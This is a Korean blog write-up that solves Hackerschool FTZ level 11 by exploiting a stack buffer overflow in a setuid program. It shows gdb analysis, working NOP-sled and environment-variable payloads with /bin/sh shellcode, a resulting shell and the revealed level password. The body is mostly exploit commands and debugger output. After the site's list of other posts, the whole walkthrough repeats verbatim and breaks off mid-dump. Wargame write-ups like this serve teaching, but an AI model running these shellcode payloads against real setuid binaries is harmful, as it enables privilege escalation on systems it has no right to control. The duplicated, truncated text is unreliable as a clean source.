뇌
[FTZ] level 11 → level 12 문제풀이 본문
level11 - id
: level11 , pw
: what!@#$?
[level11@ftz level11]$ ls
attackme hint public_html tmp
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz level11]$
hint 는 이름이 명시되지도 않은 파일의 소스코드가 적혀있다.
그리고 attackme 라는 새로운 파일이 생겼다.
[level11@ftz level11]$ ls -l
합계 28
-rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme
-rw-r----- 1 root level11 168 3월 8 2003 hint
drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level11 4096 2월 27 20:03 tmp
[level11@ftz level11]$
attackme 파일은 실행파일이며, level12 권한의 setuid 를 갖고있다.
그래서 hint의 파일이 attackme 파일의 소스코드라고 추측할 수 있다.
attackme 파일은 두가지 취약점이 발생하는데,
첫번째는 BOF
취약점이다.
strcpy 함수에서 변수 str 은 256 byte 인데,
입력할 수 있는 최대 byte 수 제한이 없기 때문에 256 byte 이상의 길이를 입력할 수 있다.
두번째는 FSB
취약점이다.
printf
함수가 원래 printf("%s", str); 이런 식으로 코드가 짜여져야하는데,
포맷스트링 없이 printf( str ); 이렇게 짰기 때문에 취약점이 발생한다.
FSB
취약점으로 푸는 방법은 level20 까지 다 올리고 풀이하려고 한다.
그래서 이번에는 BOF
취약점을 이용하여 풀이한다.
gdb로 attackme 를 분석해보자.
원본은 권한이 없어 gdb로 분석을 할 수 없기 때문에 tmp 파일에 attackme 파일을 복사하여 분석해보자.
[level11@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
(gdb)
0x08048499 <main+41>부터 보면 ebp 부터 264 byte 뒤부터 입력을 받는다.
str 는 256 byte 이므로, dummy는 8 byte 이다.
str(256) + dummy(8) + sfp(4) + ret(4)
이런 구조이다.
(gdb) r `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb)
예상대로 ret 에는 DDDD(\x44\x44\x44\x44) 가 들어갔다.
python 으로 인자값을 주려면 `
을 사용하면 된다.
이제 페이로드를 짜보자.
BOF
도 여러가지 방법이 있는데,
str 에 쉘코드를 넣고, ret 을 str 주소를 넣는 방법,
ret 뒤에 쉘코드를 넣는 방법,
환경변수에 쉘코드를 넣는 방법 등등등..
우리는 이 중 두가지 방법으로 풀어볼 것이다.
1. 고전적인 방법
첫번째는 쉘코드를 뒤에 넣는 방법인데,
FTZ 환경은 스택 보호기법인 ASLR
기법이 적용돼있기 때문에 스택의 메모리 주소가 계속 바뀐다.
그래서 Nop Sled(\x90) 으로 많이 채운 다음 쉘코드를 뒤에 붙이고,
Nop Sled 중간 부분에 한번이라도 걸리면 쭉 타고 내려가서 쉘코드를 실행할 것이다.
Nop Sled 는 아무 동작하지 않고, 공간만 확보하는 하나의 기법이다.
(gdb) b* main+74
Breakpoint 1 at 0x80484ba
(gdb) r `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCC
Breakpoint 1, 0x080484ba in main ()
(gdb)
Nop Sled + shellcode 자리를 2000만큼 확보했다.
Nop Sled 사이의 주소를 아무거나 가져오자.
(gdb) x/100x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
---Type <return> to continue, or q <return> to quit---
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
(gdb) x/80x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeb10: 0x41414141 0x41414141 0x41414141 0x42424242
0xbfffeb20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb40: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
0xbfffeb50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeb90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeba0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffebf0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec00: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffec80: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
.
.
.
0xbfffef10: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef20: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef70: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefa0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefc0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeff0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff000: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff010: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff020: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff030: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff040: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)
중간 부분 0xbfffef70 을 ret 주소로 덮어보자.
[level11@ftz tmp]$ ls
attackme
[level11@ftz tmp]$ ln -sf ~/attackme ~/tmp/attackme
[level11@ftz tmp]$ ls -l
합계 0
lrwxrwxrwx 1 level11 level11 22 2월 27 21:32 attackme -> /home/level11/attackme
[level11@ftz tmp]$
일단 attackme 의 원본과 tmp 에 있는 사본과 주소 차이가 있을 수 있으므로,
심볼릭 링크를 걸었다.
$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
페이로드는 이렇게 된다.
스택에는 4byte 씩 리틀엔디안 방식으로 들어가기 때문에
환경변수의 주소도 리틀엔디안 방식으로 넣어주어야 한다.
이제 직접 attackme 파일을 공격해보자.
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x70\xef\xff\xbf" + "\x90"*1959 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89
\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAp���
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
이렇게 쉘이 따졌다.
랜덤으로 메모리가 바뀌기 때문에 한번에는 안될 것이다.
그래도 반복하면 스무번 안에는 나올 것이다.
2. 환경변수를 이용한 방법
환경변수는 고정적인 메모리 주소를 갖기 때문에 환경변수로 쉘코드를 입력하고,
그 환경변수의 주소를 가져오는 방식이다.
거리 계산하고 할 필요없이 ret 까지의 길이만 알면 쉽게 공격할 수 있다.
export
명령어를 이용해 환경변수를 저장해보자.
[level11@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3
\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
[level11@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
SHELL=
1육1���1육F�1�Ph//shh/bin�PS�1柰
�
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 59956 22
OLDPWD=/home/level11
SSH_TTY=/dev/pts/0
USER=level11
LS_COLORS=
MAIL=/var/spool/mail/level11
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin
INPUTRC=/etc/inputrc
PWD=/home/level11/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$
SHLVL=1
HOME=/home/level11
BASH_ENV=/home/level11/.bashrc
LOGNAME=level11
SSH_CONNECTION=172.16.21.1 59956 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level11@ftz tmp]$
SHELL 이라는 이름으로 환경변수를 저장했다.
코드를 짜서 SHELL 의 주소를 구해보자.
[level11@ftz tmp]$ vi sh.c
#include<stdio.h>
int main(void)
{
printf("%p\n", getenv("SHELL"));
}
~
~
~
~
~
~
~
~
~
~
[level11@ftz tmp]$ ls
attackme sh.c
[level11@ftz tmp]$ gcc -o sh sh.c
[level11@ftz tmp]$ ./sh
0xbffffd84
[level11@ftz tmp]$
환경변수 SHELL 의 주소는 0xbffffd84 이다.
$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
페이로드는 이렇게 된다.
공격해보면,
[level11@ftz tmp]$ ./attackme `python -c 'print "A"*268 + "\x84\xfd\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "it is like this".
sh-2.05b$
쉘을 땄다.
Level12 Password is "it is like this".
다음 단계부터는 한가지 방법으로만 작성할 생각이다 ...
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |
---|---|
[FTZ] level 12 → level 13 문제풀이 (0) | 2020.02.29 |
[FTZ] level 10 → level 11 문제풀이 (0) | 2020.02.25 |
[FTZ] level 9 → level 10 문제풀이 (0) | 2020.02.25 |
[FTZ] level 8 → level 9 문제풀이 (0) | 2020.02.23 |
level11 - id
: level11 , pw
: what!@#$?
[level11@ftz level11]$ ls
attackme hint public_html tmp
[level11@ftz level11]$ cat hint
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
[level11@ftz level11]$
hint 는 이름이 명시되지도 않은 파일의 소스코드가 적혀있다.
그리고 attackme 라는 새로운 파일이 생겼다.
[level11@ftz level11]$ ls -l
합계 28
-rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme
-rw-r----- 1 root level11 168 3월 8 2003 hint
drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level11 4096 2월 27 20:03 tmp
[level11@ftz level11]$
attackme 파일은 실행파일이며, level12 권한의 setuid 를 갖고있다.
그래서 hint의 파일이 attackme 파일의 소스코드라고 추측할 수 있다.
attackme 파일은 두가지 취약점이 발생하는데,
첫번째는 BOF
취약점이다.
strcpy 함수에서 변수 str 은 256 byte 인데,
입력할 수 있는 최대 byte 수 제한이 없기 때문에 256 byte 이상의 길이를 입력할 수 있다.
두번째는 FSB
취약점이다.
printf
함수가 원래 printf("%s", str); 이런 식으로 코드가 짜여져야하는데,
포맷스트링 없이 printf( str ); 이렇게 짰기 때문에 취약점이 발생한다.
FSB
취약점으로 푸는 방법은 level20 까지 다 올리고 풀이하려고 한다.
그래서 이번에는 BOF
취약점을 이용하여 풀이한다.
gdb로 attackme 를 분석해보자.
원본은 권한이 없어 gdb로 분석을 할 수 없기 때문에 tmp 파일에 attackme 파일을 복사하여 분석해보자.
[level11@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
0x08048494 <main+36>: add eax,0x4
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
---Type <return> to continue, or q <return> to quit---
0x080484bb <main+75>: ret
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
(gdb)
0x08048499 <main+41>부터 보면 ebp 부터 264 byte 뒤부터 입력을 받는다.
str 는 256 byte 이므로, dummy는 8 byte 이다.
str(256) + dummy(8) + sfp(4) + ret(4)
이런 구조이다.
(gdb) r `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*256 +"B"*8+"CCCCDDDD"'`
Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb)
예상대로 ret 에는 DDDD(\x44\x44\x44\x44) 가 들어갔다.
python 으로 인자값을 주려면 `
을 사용하면 된다.
이제 페이로드를 짜보자.
BOF
도 여러가지 방법이 있는데,
str 에 쉘코드를 넣고, ret 을 str 주소를 넣는 방법,
ret 뒤에 쉘코드를 넣는 방법,
환경변수에 쉘코드를 넣는 방법 등등등..
우리는 이 중 두가지 방법으로 풀어볼 것이다.
1. 고전적인 방법
첫번째는 쉘코드를 뒤에 넣는 방법인데,
FTZ 환경은 스택 보호기법인 ASLR
기법이 적용돼있기 때문에 스택의 메모리 주소가 계속 바뀐다.
그래서 Nop Sled(\x90) 으로 많이 채운 다음 쉘코드를 뒤에 붙이고,
Nop Sled 중간 부분에 한번이라도 걸리면 쭉 타고 내려가서 쉘코드를 실행할 것이다.
Nop Sled 는 아무 동작하지 않고, 공간만 확보하는 하나의 기법이다.
(gdb) b* main+74
Breakpoint 1 at 0x80484ba
(gdb) r `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
Starting program: /home/level11/tmp/attackme `python -c 'print "A"*268 + "BBBB" + "C"*2000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCC
Breakpoint 1, 0x080484ba in main ()
(gdb)
Nop Sled + shellcode 자리를 2000만큼 확보했다.
Nop Sled 사이의 주소를 아무거나 가져오자.
(gdb) x/100x $esp
0xbfffea10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea80: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffea90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffead0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffeaf0: 0x41414141 0x41414141 0x41414141 0x41414141
